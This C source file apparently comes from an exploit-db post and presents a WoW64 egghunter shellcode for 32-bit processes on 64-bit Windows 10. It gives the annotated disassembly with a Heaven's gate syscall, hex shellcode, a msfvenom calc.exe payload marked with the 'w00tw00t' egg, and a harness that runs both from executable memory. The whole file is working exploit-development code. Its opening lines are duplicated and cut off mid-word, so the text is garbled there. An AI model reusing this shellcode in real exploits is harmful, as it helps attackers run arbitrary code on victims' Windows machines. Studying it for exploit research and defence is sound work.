#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
using namespace std;

/*

Title: WoW64Egghunter fo #include <Windows.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
using namespace std;

/*

Title: WoW64Egghunter for Windows 10 (32bit apps on 64bit Windows 10)
Size: 50 bytes
Date: 26/08/2018
Author: n30m1nd - https://www.exploit-db.com/author/?a=8766
Works in: 32 bit processes on a 64 bit Windows 10 OS
How to: Compile under Visual Studio and run

Credit where credit is due:
- https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
- https://j00ru.vexillium.org/syscalls/nt/64/
- https://www.exploit-db.com/exploits/41827/
- https://web.archive.org/web/20101215052055/http://vx.netlux.org/lib/vrg02.html

Shouts out to the Plakkers!

// Assembly

0: 8c cb mov ebx,cs
2: 80 fb 23 cmp bl,0x23
5: 33 d2 xor edx,edx
7: 66 81 ca ff 0f or dx,0xfff
c: 33 db xor ebx,ebx
e: 42 inc edx
f: 52 push edx
10: 53 push ebx
11: 53 push ebx
12: 53 push ebx
13: 6a 29 push 0x29
15: 58 pop eax
16: b3 c0 mov bl,0xc0 ; Heaven's gate
18: 64 ff 13 call DWORD PTR fs:[ebx]
1b: 83 c4 0c add esp,0xc
1e: 5a pop edx
1f: 3c 05 cmp al,0x5
21: 74 e4 je 0x7
23: b8 77 30 30 74 mov eax,0x74303077
28: 89 d7 mov edi,edx
2a: af scas eax,DWORD PTR es:[edi]
2b: 75 e1 jne 0xe
2d: af scas eax,DWORD PTR es:[edi]
2e: 75 de jne 0xe
30: ff e7 jmp edi
*/

char n30m1ndhunter[] =
"x8CxCBx80xFBx23x33xD2x66x81xCAxFFx0F"
"x33xDBx42x52x53x53x53x6Ax29x58xB3xC0"
"x64xFFx13x83xC4x0Cx5Ax3Cx05x74xE4xB8"
"x77x30x30x74x89xD7xAFx75xE1xAFx75xDE"
"xFFxE7";

// msfvenom -p windows/exec cmd=calc.exe -f c
char scode[] = "w00tw00t" // Eggu
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x63x61x6cx63x2ex65x78x65x00";

int main(int argc, char **argv)
{
// Place the eggu (w00tw00t) in memory and make the shellcode executable
void *eggfind = VirtualAlloc(0, sizeof scode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(eggfind, scode, sizeof scode);

// Place the egghunter shellcode in memory and ...
void *exec = VirtualAlloc(0, sizeof n30m1ndhunter, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, n30m1ndhunter, sizeof n30m1ndhunter);

// ... jump to it
((void(*)())exec)();
}